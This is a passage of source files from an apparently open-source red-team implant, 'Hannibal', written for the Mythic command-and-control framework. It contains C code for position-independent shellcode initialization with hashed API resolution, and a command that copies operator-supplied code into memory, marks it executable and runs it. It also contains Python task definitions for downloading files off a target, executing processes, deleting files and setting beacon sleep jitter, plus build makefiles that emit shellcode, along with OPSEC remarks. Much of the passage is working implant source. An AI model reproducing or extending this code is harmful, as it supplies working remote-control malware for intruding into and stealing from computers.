pic_strlenW(const wchar_t *wstr); 59 | 60 | char *pic_strcpy(char* dest, const char* src); 61 | int pic_strcmp(const char *str1, const char *str2); 62 | int pic_strcmpW(const wchar_t *wstr1, const wchar_t *wstr2); 63 | int pic_strncmp(const char *s1, const char *s2, size_t n); 64 | 65 | char *pic_strncpy(char *dest, const char *src, size_t n); 66 | 67 | void pic_strcat(char *str1, char *str2); 68 | void pic_strcatW(wchar_t *wstr1, wchar_t *wstr2); 69 | 70 | void dword_to_wchar(DWORD value, WCHAR* buffer, int base); 71 | void ulong_to_wchar(ULONG64 value, WCHAR *buffer); 72 | 73 | #endif // UTILITY_STRINGS_H -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/utility_encryption_helpers.c: -------------------------------------------------------------------------------- 1 | // Credit: While I rewrote some of it, I did use some ideas from https://github.com/HavocFramework/Havoc/blob/main/payloads/Demon 2 | 3 | #include "utility_encryption_helpers.h" 4 | 5 | 6 | /** 7 | * Using GetTickCount + RtlRandomEx shouldn't be considered 8 | * cryptographically secure. However, it should be adequate for 9 | * our purposes. It is the default in order to avoid loading bcrypt.dll. TODO: bcrypt is currently required for other things. Refactor to make optional. 10 | * If this is not suitable for your purposes, use bcrypt_generate_iv(). 11 | */ 12 | SECTION_CODE void generate_iv(char *iv) 13 | { 14 | HANNIBAL_INSTANCE_PTR 15 | 16 | ULONG seed = hannibal_instance_ptr->Win32.GetTickCount(); 17 | 18 | for(int i = 0; i < IV_SIZE; i++){ 19 | iv[i] = gen_random_byte(&seed); 20 | } 21 | } 22 | 23 | 24 | /** 25 | * Note: This code requires functions located in bcrypt.dll. 26 | * If having bcrypt.dll load into your process is not desirable TODO: bcrypt is currently required for other things. Refactor to make optional. 27 | * you will need to find an alternative way to generate a random IV. 28 | * Use generate_iv() or look at 29 | * https://github.com/jedisct1/libsodium/blob/master/src/libsodium/randombytes/sysrandom/randombytes_sysrandom.c 30 | * https://github.com/dsprenkels/randombytes 31 | * https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptopenalgorithmprovider 32 | */ 33 | SECTION_CODE void bcrypt_generate_iv(char *iv) 34 | { 35 | HANNIBAL_INSTANCE_PTR 36 | 37 | NTSTATUS status; 38 | BCRYPT_ALG_HANDLE hAlgorithm; 39 | 40 | status = hannibal_instance_ptr->Win32.BCryptOpenAlgorithmProvider(&hAlgorithm, BCRYPT_RNG_ALGORITHM, NULL, 0); 41 | if (!BCRYPT_SUCCESS(status)) { 42 | return; 43 | } 44 | 45 | status = hannibal_instance_ptr->Win32.BCryptGenRandom(hAlgorithm, iv, IV_SIZE, 0); 46 | if (!BCRYPT_SUCCESS(status)) { 47 | return; 48 | } 49 | 50 | hannibal_instance_ptr->Win32.BCryptCloseAlgorithmProvider(hAlgorithm, 0); 51 | 52 | } 53 | 54 | -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/download.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class DownloadArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="path", 12 | cli_name="path", 13 | display_name="Path to file to download.", 14 | type=ParameterType.String, 15 | description="File to download.", 16 | parameter_group_info=[ 17 | ParameterGroupInfo( 18 | required=True, 19 | group_name="Default", 20 | ui_position=0 21 | ) 22 | ]), 23 | ] 24 | 25 | async def parse_arguments(self): 26 | if len(self.command_line) > 0: 27 | json_cmd = json.loads(self.command_line) 28 | self.add_arg("path", json_cmd["path"]) 29 | 30 | 31 | class DownloadCommand(CommandBase): 32 | cmd = "download" 33 | needs_admin = False 34 | help_cmd = "download " 35 | description = "Download a file off the target system." 36 | version = 1 37 | supported_ui_features = [] 38 | author = "@silentwarble" 39 | argument_class = DownloadArguments 40 | attackmapping = [] 41 | attributes = CommandAttributes( 42 | suggested_command=True 43 | ) 44 | 45 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 46 | response = PTTaskCreateTaskingMessageResponse( 47 | TaskID=taskData.Task.ID, 48 | Success=True, 49 | ) 50 | path = taskData.args.get_arg("path") 51 | response.DisplayParams = path 52 | return response 53 | 54 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 55 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 56 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/mkdir.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class MkdirArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="path", 12 | cli_name="path", 13 | display_name="Create folder path.", 14 | type=ParameterType.String, 15 | description="Create folder path.", 16 | parameter_group_info=[ 17 | ParameterGroupInfo( 18 | required=False, 19 | group_name="Default", 20 | ui_position=0 21 | ), 22 | ]), 23 | ] 24 | 25 | async def parse_arguments(self): 26 | if len(self.command_line) > 0: 27 | json_cmd = json.loads(self.command_line) 28 | self.add_arg("path", json_cmd["path"]) 29 | if self.get_arg("path") is None: 30 | self.add_arg("path", ".") 31 | if self.get_arg("path") is not None and self.get_arg("path")[-1] == "\\": 32 | self.add_arg("path", self.get_arg("path")[:-1]) 33 | 34 | 35 | 36 | class LsCommand(CommandBase): 37 | cmd = "mkdir" 38 | needs_admin = False 39 | help_cmd = "mkdir [path]" 40 | description = "Make a directory" 41 | version = 1 42 | supported_ui_features = [] 43 | author = "@silentwarble" 44 | argument_class = MkdirArguments 45 | attackmapping = [] 46 | 47 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 48 | response = PTTaskCreateTaskingMessageResponse( 49 | TaskID=taskData.Task.ID, 50 | Success=True, 51 | ) 52 | path = taskData.args.get_arg("path") 53 | response.DisplayParams = path 54 | return response 55 | 56 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 57 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 58 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/execute.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class ExecuteArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="path", 12 | cli_name="path", 13 | display_name="Path to execute.", 14 | type=ParameterType.String, 15 | description="Path to execute.", 16 | parameter_group_info=[ 17 | ParameterGroupInfo( 18 | required=False, 19 | group_name="Default", 20 | ui_position=0 21 | ), 22 | ]), 23 | ] 24 | 25 | async def parse_arguments(self): 26 | if len(self.command_line) > 0: 27 | json_cmd = json.loads(self.command_line) 28 | self.add_arg("path", json_cmd["path"]) 29 | if self.get_arg("path") is None: 30 | self.add_arg("path", ".") 31 | if self.get_arg("path") is not None and self.get_arg("path")[-1] == "\\": 32 | self.add_arg("path", self.get_arg("path")[:-1]) 33 | 34 | 35 | 36 | class ExecuteCommand(CommandBase): 37 | cmd = "execute" 38 | needs_admin = False 39 | help_cmd = "execute [path]" 40 | description = "Runs CreateProcess. Beware OPSEC considerations." 41 | version = 1 42 | supported_ui_features = [] 43 | author = "@silentwarble" 44 | argument_class = ExecuteArguments 45 | attackmapping = [] 46 | 47 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 48 | response = PTTaskCreateTaskingMessageResponse( 49 | TaskID=taskData.Task.ID, 50 | Success=True, 51 | ) 52 | path = taskData.args.get_arg("path") 53 | response.DisplayParams = path 54 | return response 55 | 56 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 57 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 58 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/hannibal_initialize.c: -------------------------------------------------------------------------------- 1 | #include "utility_strings.h" 2 | 3 | SECTION_GLOBAL PVOID __Instance = (PVOID)'placeholder'; 4 | 5 | EXTERN_C SECTION_CODE VOID InitializeHannibal( 6 | PVOID Param 7 | ) { 8 | INSTANCE hannibal_instance = { 0 }; 9 | PVOID current_process_heap = { 0 }; 10 | PVOID global_section_addr = { 0 }; 11 | SIZE_T global_section_size = { 0 }; 12 | ULONG old_mem_permission = { 0 }; 13 | 14 | pic_RtlSecureZeroMemory( & hannibal_instance, sizeof( hannibal_instance ) ); 15 | 16 | current_process_heap = NtCurrentPeb()->ProcessHeap; 17 | 18 | hannibal_instance.Base.Buffer = StRipStart(); 19 | hannibal_instance.Base.Length = (UINT_PTR)StRipEnd() - (UINT_PTR)hannibal_instance.Base.Buffer; 20 | 21 | global_section_addr = hannibal_instance.Base.Buffer + (UINT_PTR)&__Instance_offset; 22 | global_section_size = sizeof( PVOID ); 23 | 24 | if ( ( hannibal_instance.Modules.Ntdll = get_module_ptr_from_peb( H_MODULE_NTDLL ) ) ) { 25 | if ( ! ( hannibal_instance.Win32.RtlAllocateHeap = get_func_ptr_from_module_eat( hannibal_instance.Modules.Ntdll, HASH_STR( "RtlAllocateHeap" ) ) ) || 26 | ! ( hannibal_instance.Win32.NtProtectVirtualMemory = get_func_ptr_from_module_eat( hannibal_instance.Modules.Ntdll, HASH_STR( "NtProtectVirtualMemory" ) ) ) 27 | ) { 28 | return; 29 | } 30 | } 31 | 32 | if ( ! NT_SUCCESS( hannibal_instance.Win32.NtProtectVirtualMemory( 33 | NtCurrentProcess(), 34 | & global_section_addr, 35 | & global_section_size, 36 | PAGE_READWRITE, 37 | & old_mem_permission 38 | ) ) ) { 39 | return; 40 | } 41 | 42 | if ( ! ( *(PVOID*)global_section_addr = hannibal_instance.Win32.RtlAllocateHeap( 43 | current_process_heap, 44 | HEAP_ZERO_MEMORY, 45 | sizeof( INSTANCE ) 46 | ) ) ) { 47 | return; 48 | } 49 | 50 | 51 | pic_memcpy( *(PVOID*)global_section_addr, &hannibal_instance, sizeof( INSTANCE ) ); 52 | pic_RtlSecureZeroMemory( &hannibal_instance, sizeof( INSTANCE ) ); 53 | pic_RtlSecureZeroMemory( (PVOID)( (UINT_PTR)global_section_addr+ sizeof( PVOID ) ), 0x18 ); 54 | 55 | Hannibal( Param ); 56 | } -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/cd.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | class CdArguments(TaskArguments): 5 | 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter( 10 | name="path", 11 | cli_name="path", 12 | display_name="Path to cd to.", 13 | type=ParameterType.String, 14 | description="Path to cd to.", 15 | parameter_group_info=[ 16 | ParameterGroupInfo( 17 | required=False, 18 | group_name="Default", 19 | ui_position=0 20 | ), 21 | ]), 22 | ] 23 | 24 | async def parse_arguments(self): 25 | if len(self.command_line) > 0: 26 | json_cmd = json.loads(self.command_line) 27 | self.add_arg("path", json_cmd["path"]) 28 | if self.get_arg("path") is None: 29 | self.add_arg("path", ".") 30 | if self.get_arg("path") is not None and self.get_arg("path")[-1] == "\\": 31 | self.add_arg("path", self.get_arg("path")[:-1]) 32 | 33 | 34 | 35 | class CdCommand(CommandBase): 36 | cmd = "cd" 37 | needs_admin = False 38 | help_cmd = "cd [path]" 39 | description = "Change current working directory for process. For root level escape the backslash (cd c:\\\\)" 40 | version = 1 41 | supported_ui_features = [] 42 | author = "@silentwarble" 43 | argument_class = CdArguments 44 | attackmapping = [] 45 | 46 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 47 | response = PTTaskCreateTaskingMessageResponse( 48 | TaskID=taskData.Task.ID, 49 | Success=True, 50 | ) 51 | path = taskData.args.get_arg("path") 52 | response.DisplayParams = path 53 | return response 54 | 55 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 56 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 57 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/ls.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class LsArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="path", 12 | cli_name="path", 13 | display_name="Path to list files from.", 14 | type=ParameterType.String, 15 | description="Path to list files from.", 16 | parameter_group_info=[ 17 | ParameterGroupInfo( 18 | required=False, 19 | group_name="Default", 20 | ui_position=0 21 | ), 22 | ]), 23 | ] 24 | 25 | async def parse_arguments(self): 26 | if len(self.command_line) > 0: 27 | json_cmd = json.loads(self.command_line) 28 | self.add_arg("path", json_cmd["path"]) 29 | if self.get_arg("path") is None: 30 | self.add_arg("path", ".") 31 | if self.get_arg("path") is not None and self.get_arg("path")[-1] == "\\": 32 | self.add_arg("path", self.get_arg("path")[:-1]) 33 | 34 | 35 | 36 | class LsCommand(CommandBase): 37 | cmd = "ls" 38 | needs_admin = False 39 | help_cmd = "ls [path]" 40 | description = "List files and folders in directory or smb share. Use ls . for current working directory." 41 | version = 1 42 | supported_ui_features = [] 43 | author = "@silentwarble" 44 | argument_class = LsArguments 45 | attackmapping = [] 46 | 47 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 48 | response = PTTaskCreateTaskingMessageResponse( 49 | TaskID=taskData.Task.ID, 50 | Success=True, 51 | ) 52 | path = taskData.args.get_arg("path") 53 | response.DisplayParams = path 54 | return response 55 | 56 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 57 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 58 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/exit.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | 5 | class ExitArguments(TaskArguments): 6 | 7 | def __init__(self, command_line, **kwargs): 8 | super().__init__(command_line, **kwargs) 9 | self.args = [ 10 | CommandParameter( 11 | name="type", 12 | cli_name="type", 13 | display_name="Exit process or thread.", 14 | type=ParameterType.String, 15 | description="Exit process or thread.", 16 | parameter_group_info=[ 17 | ParameterGroupInfo( 18 | required=False, 19 | group_name="Default", 20 | ui_position=0 21 | ), 22 | ]), 23 | ] 24 | 25 | async def parse_arguments(self): 26 | if len(self.command_line) > 0: 27 | json_cmd = json.loads(self.command_line) 28 | if "type" in json_cmd: 29 | if json_cmd["type"] == "thread": 30 | self.add_arg("type", int(1)) 31 | else: 32 | self.add_arg("type", int(0)) 33 | else: 34 | self.add_arg("type", int(0)) 35 | 36 | 37 | class ExitCommand(CommandBase): 38 | cmd = "exit" 39 | needs_admin = False 40 | help_cmd = "exit, exit thread" 41 | description = "Task the implant to exit. Runs either ExitProcess or ExitThread." 42 | version = 1 43 | supported_ui_features = ["callback_table:exit"] 44 | author = "@silentwarble" 45 | argument_class = ExitArguments 46 | attackmapping = [] 47 | 48 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 49 | response = PTTaskCreateTaskingMessageResponse( 50 | TaskID=taskData.Task.ID, 51 | Success=True, 52 | ) 53 | type = taskData.args.get_arg("type") 54 | response.DisplayParams = type 55 | return response 56 | 57 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 58 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 59 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/debug_makefile: -------------------------------------------------------------------------------- 1 | # Generates an exe with all debugging symbols on for easy stepping. 2 | 3 | #---------- Performance ----------# 4 | 5 | # MAKEFLAGS += -s -j1 6 | MAKEFLAGS += -s -j$(NUMBER_OF_PROCESSORS) 7 | 8 | #---------- Project Settings ----------# 9 | 10 | PROJECT := hannibal 11 | CC_X64 := x86_64-w64-mingw32-g++ 12 | 13 | #---------- Compiler Flags ----------# 14 | 15 | DEBUG_CFLAGS := -O0 -Iinclude -D DEBUG_BUILD -D PROFILE_MYTHIC_HTTP 16 | DEBUG_CFLAGS += -fpermissive -Wunknown-pragmas -Wignored-qualifiers -w 17 | 18 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEP_DIR)/$(*F).d 19 | 20 | #---------- Linker Flags ----------# 21 | 22 | DEBUG_LDFLAGS = -g -m64 23 | 24 | #---------- Paths ----------# 25 | 26 | SRC_DIR := src 27 | OBJ_DIR := bin/obj 28 | BIN_DIR := bin 29 | DEP_DIR := $(BIN_DIR)/deps 30 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c) 31 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o) 32 | 33 | 34 | 35 | # This makefile creates a normal .exe, so the stub_wrapper and hannibal_initialize.c can't be part of this build. 36 | SRC_FILES_DEBUG := $(filter-out src/hannibal_initialize.c, $(SRC_FILES)) 37 | OBJ_FILES_DEBUG := $(SRC_FILES_DEBUG:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o) 38 | DEP_FILES_DEBUG := $(SRC_FILES_DEBUG:$(SRC_DIR)/%.c=$(DEP_DIR)/%.d) 39 | 40 | #---------- Targets ----------# 41 | 42 | all: $(BIN_DIR)/$(PROJECT).exe 43 | 44 | $(BIN_DIR)/$(PROJECT).exe: $(OBJ_FILES_DEBUG) 45 | @ echo "[+] Linking x64 Executable" 46 | @ $(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(DEBUG_CFLAGS) $(DEBUG_LDFLAGS) 47 | 48 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c $(DEP_DIR)/%.d | $(DEP_DIR) 49 | @echo "[+] Compiling $< -> $@" 50 | @ $(CC_X64) -o $@ -c $< $(DEPFLAGS) $(DEBUG_CFLAGS) $(DEBUG_LDFLAGS) 51 | 52 | $(DEP_DIR): 53 | @if not exist $(DEP_DIR) mkdir "$(DEP_DIR)" 54 | 55 | $(DEP_FILES_DEBUG): 56 | 57 | -include $(DEP_FILES_DEBUG) 58 | 59 | #---------- Utility ----------# 60 | 61 | clean: 62 | @ del /q bin\obj\*.o 2>nul 63 | @ del /q bin\obj\*.s 2>nul 64 | @ del /q bin\obj\*.ii 2>nul 65 | @ del /q "$(DEP_DIR)" 66 | @ del /q bin\*.bin 2>nul 67 | 68 | print: 69 | @echo "SRC_FILES_DEBUG: $(SRC_FILES_DEBUG)" 70 | @echo "SRC_FILES: $(SRC_FILES)" 71 | @echo "OBJ_FILES: $(OBJ_FILES)" 72 | @echo "OBJ_FILES_DEBUG: $(OBJ_FILES_DEBUG)" 73 | @echo "DEP_FILES_DEBUG: $(DEP_FILES_DEBUG)" -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/rm.py: -------------------------------------------------------------------------------- 1 | from mythic_container.MythicCommandBase import * 2 | import json 3 | 4 | class RmArguments(TaskArguments): 5 | 6 | def __init__(self, command_line, **kwargs): 7 | super().__init__(command_line, **kwargs) 8 | self.args = [ 9 | CommandParameter( 10 | name="path", 11 | cli_name="path", 12 | display_name="Path to list files from.", 13 | type=ParameterType.String, 14 | description="Path to list files from.", 15 | parameter_group_info=[ 16 | ParameterGroupInfo( 17 | required=False, 18 | group_name="Default", 19 | ui_position=0 20 | ), 21 | ]), 22 | ] 23 | 24 | async def parse_arguments(self): 25 | if len(self.command_line) > 0: 26 | json_cmd = json.loads(self.command_line) 27 | self.add_arg("path", json_cmd["path"]) 28 | if self.get_arg("path") is None: 29 | self.add_arg("path", ".") 30 | if self.get_arg("path") is not None and self.get_arg("path")[-1] == "\\": 31 | self.add_arg("path", self.get_arg("path")[:-1]) 32 | 33 | 34 | 35 | class RmCommand(CommandBase): 36 | cmd = "rm" 37 | needs_admin = False 38 | help_cmd = "rm [path]" 39 | description = "Delete a file or a folder. File delete supports simple wildcards (rm c:\\test\*.txt). NOTE: This recursively deletes folders so you won't get an error if folder isn't empty. Be aware of this so you don't accidentally destroy data." 40 | version = 1 41 | supported_ui_features = [] 42 | author = "@silentwarble" 43 | argument_class = RmArguments 44 | attackmapping = [] 45 | 46 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 47 | response = PTTaskCreateTaskingMessageResponse( 48 | TaskID=taskData.Task.ID, 49 | Success=True, 50 | ) 51 | path = taskData.args.get_arg("path") 52 | response.DisplayParams = path 53 | return response 54 | 55 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 56 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 57 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/mythic/agent_functions/sleep.py: -------------------------------------------------------------------------------- 1 | # https://github.com/MythicAgents/Apollo/blob/master/Payload_Type/apollo/apollo/mythic/agent_functions/sleep.py 2 | 3 | from mythic_container.MythicCommandBase import * 4 | import json 5 | 6 | 7 | class SleepArguments(TaskArguments): 8 | 9 | def __init__(self, command_line, **kwargs): 10 | super().__init__(command_line, **kwargs) 11 | self.args = [ 12 | CommandParameter( 13 | name="interval", 14 | type=ParameterType.Number, 15 | default_value=-1, 16 | parameter_group_info=[ParameterGroupInfo( 17 | ui_position=0 18 | )] 19 | ), 20 | CommandParameter( 21 | name="jitter", 22 | type=ParameterType.Number, 23 | default_value=-1, 24 | parameter_group_info=[ParameterGroupInfo( 25 | ui_position=1 26 | )] 27 | ) 28 | ] 29 | 30 | async def parse_dictionary(self, dictionary_arguments): 31 | self.load_args_from_dictionary(dictionary_arguments) 32 | 33 | async def parse_arguments(self): 34 | if len(self.command_line) == 0: 35 | raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") 36 | parts = self.command_line.split(" ", maxsplit=1) 37 | try: 38 | self.set_arg("interval", int(parts[0])) 39 | except: 40 | raise Exception("sleep requires an integer value (in seconds) to be passed on the command line to update the sleep value to.") 41 | if len(parts) == 2: 42 | try: 43 | self.set_arg("jitter", int(parts[1])) 44 | except: 45 | raise Exception("sleep requires an integer value for jitter, but received: {}".format(parts[1])) 46 | pass 47 | 48 | 49 | class SleepCommand(CommandBase): 50 | cmd = "sleep" 51 | needs_admin = False 52 | help_cmd = "sleep [seconds] [jitter]" 53 | description = "Change the implant's sleep interval." 54 | version = 2 55 | author = "@djhohnstein" 56 | argument_class = SleepArguments 57 | attackmapping = ["T1029"] 58 | 59 | async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: 60 | response = PTTaskCreateTaskingMessageResponse( 61 | TaskID=taskData.Task.ID, 62 | Success=True, 63 | ) 64 | return response 65 | 66 | async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse: 67 | resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True) 68 | return resp -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/windows_makefile: -------------------------------------------------------------------------------- 1 | # Generates a fully position independent .bin 2 | 3 | #---------- Performance ----------# 4 | 5 | # MAKEFLAGS += -s -j1 6 | MAKEFLAGS += -s -j$(NUMBER_OF_PROCESSORS) 7 | 8 | #---------- Project Settings ----------# 9 | 10 | PROJECT := hannibal 11 | CC_X64 := x86_64-w64-mingw32-g++ 12 | 13 | #---------- Compiler Flags ----------# 14 | 15 | # https://gcc.gnu.org/onlinedocs/gcc/Code-Gen-Options.html 16 | # https://gcc.gnu.org/onlinedocs/gcc/Cygwin-and-MinGW-Options.html 17 | # https://forum.tinycorelinux.net/index.php/topic,26375.0.html 18 | 19 | CFLAGS := -Os -fno-asynchronous-unwind-tables -nostdlib 20 | CFLAGS += -nolibc -nostdlib++ 21 | CFLAGS += -fno-ident -fpack-struct=8 -falign-functions=1 22 | CFLAGS += -s -ffunction-sections -falign-jumps=1 -w 23 | CFLAGS += -falign-labels=1 -fPIC 24 | CFLAGS += -Iinclude -masm=intel -fpermissive -mrdrnd 25 | CFLAGS += -D PIC_BUILD -D PROFILE_MYTHIC_HTTP 26 | 27 | DEPFLAGS = -MT $@ -MMD -MP -MF $(DEP_DIR)/$(*F).d 28 | 29 | #---------- Linker Flags ----------# 30 | 31 | LDFLAGS := -Wl,-Tscripts/Linker.ld 32 | LDFLAGS += -Wl,-s,--no-seh,--enable-stdcall-fixup 33 | 34 | #---------- Paths ----------# 35 | 36 | ASM_DIR := asm/x64 37 | SRC_DIR := src 38 | OBJ_DIR := bin/obj 39 | BIN_DIR := bin 40 | DEP_DIR := $(BIN_DIR)/deps 41 | SRC_FILES := $(wildcard $(SRC_DIR)/*.c) 42 | OBJ_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(OBJ_DIR)/%.o) 43 | DEP_FILES := $(SRC_FILES:$(SRC_DIR)/%.c=$(DEP_DIR)/%.d) 44 | ASM_FILES := $(wildcard $(ASM_DIR)/*.asm) 45 | ASM_OBJ_FILES := $(ASM_FILES:asm/x64/%.asm=bin/obj/%.o) 46 | 47 | #---------- Targets ----------# 48 | 49 | all: $(BIN_DIR)/$(PROJECT).exe 50 | 51 | $(BIN_DIR)/$(PROJECT).exe: $(ASM_OBJ_FILES) $(OBJ_FILES) 52 | @ echo "[+] Linking x64 Executable" 53 | @ $(CC_X64) bin/obj/*.o -o $(BIN_DIR)/$(PROJECT).exe $(CFLAGS) $(LDFLAGS) 54 | @python scripts/build.py -f $(BIN_DIR)/$(PROJECT).exe -o $(BIN_DIR)/$(PROJECT).bin 55 | 56 | $(OBJ_DIR)/%.o: $(SRC_DIR)/%.c $(DEP_DIR)/%.d | $(DEP_DIR) 57 | @echo "[+] Compiling $< -> $@" 58 | @ $(CC_X64) -o $@ -c $< $(DEPFLAGS) $(CFLAGS) $(LDFLAGS) 59 | 60 | $(ASM_OBJ_FILES): $(OBJ_DIR)/%.o: asm/x64/%.asm 61 | @echo "[+] Assembling $? -> $@" 62 | @ nasm -f win64 $? -o $@ 63 | 64 | $(DEP_DIR): 65 | @if not exist $(DEP_DIR) mkdir "$(DEP_DIR)" 66 | 67 | $(DEP_FILES): 68 | 69 | -include $(DEP_FILES) 70 | 71 | #---------- Utility ----------# 72 | 73 | clean: 74 | @ del /q bin\obj\*.o 2>nul 75 | @ del /q bin\obj\*.s 2>nul 76 | @ del /q bin\obj\*.ii 2>nul 77 | @ del /q "$(DEP_DIR)" 78 | @ del /q bin\*.bin 2>nul 79 | @ del /q bin\*.exe 2>nul 80 | 81 | print: 82 | @echo "SRC_FILES: $(SRC_FILES)" 83 | @echo "OBJ_FILES: $(OBJ_FILES)" 84 | @echo "ASM_FILES: $(ASM_FILES)" 85 | @echo "DEP_FILES: $(DEP_FILES)" 86 | @echo "ASM_OBJ_FILES": $(ASM_OBJ_FILES)" -------------------------------------------------------------------------------- /Payload_Type/hannibal/hannibal/agent_code/Hannibal/src/cmd_execute_hbin.c: -------------------------------------------------------------------------------- 1 | #include "config.h" 2 | 3 | #ifdef INCLUDE_CMD_EXECUTE_HBIN 4 | 5 | #include "hannibal_tasking.h" 6 | 7 | /** 8 | * Allocating a buffer and marking it RX obviously has OPSEC implications. 9 | * Modify as you need. 10 | */ 11 | SECTION_CODE void cmd_execute_hbin(TASK t) 12 | { 13 | HANNIBAL_INSTANCE_PTR 14 | 15 | CMD_EXECUTE_HBIN *exec_hbin = (CMD_EXECUTE_HBIN *)t.cmd; 16 | 17 | /** 18 | * Make sure this struct matches what's in the hbin template. 19 | */ 20 | typedef struct _HBIN_IN { 21 | LPVOID args; 22 | int arg_size; 23 | LPVOID hannibal_instance; 24 | char *controller_uuid; 25 | } HBIN_IN; 26 | 27 | HBIN_IN *in = (HBIN_IN *)hannibal_instance_ptr->Win32.VirtualAlloc( 28 | NULL, 29 | sizeof(HBIN_IN *), 30 | MEM_COMMIT, 31 | PAGE_READWRITE 32 | ); 33 | 34 | in->args = exec_hbin->args; 35 | in->arg_size = exec_hbin->arg_size; 36 | in->hannibal_instance = hannibal_instance_ptr; 37 | in->controller_uuid = t.task_uuid; 38 | 39 | size_t buffer_size = sizeof(HBIN_IN*) + exec_hbin->hbin_size; 40 | 41 | UINT8 *hbin_buff = (UINT8 *)hannibal_instance_ptr->Win32.VirtualAlloc( 42 | NULL, 43 | buffer_size, 44 | MEM_COMMIT, 45 | PAGE_READWRITE 46 | ); 47 | 48 | // ptr to ptr > HBIN_IN | HBIN 49 | 50 | if(hbin_buff != NULL){ 51 | pic_memcpy(hbin_buff, &in, sizeof(HBIN_IN*)); 52 | pic_memcpy(hbin_buff + sizeof(HBIN_IN*), exec_hbin->hbin, exec_hbin->hbin_size); 53 | } 54 | 55 | DWORD OldProtection = 0; 56 | hannibal_instance_ptr->Win32.VirtualProtect( hbin_buff, buffer_size, PAGE_EXECUTE_READ, &OldProtection ); 57 | 58 | UINT_PTR exec = (UINT_PTR)hbin_buff + sizeof(HBIN_IN*); 59 | 60 | typedef void (*exec_func)(); 61 | exec_func hbin_exec = (exec_func)exec; 62 | hbin_exec(); 63 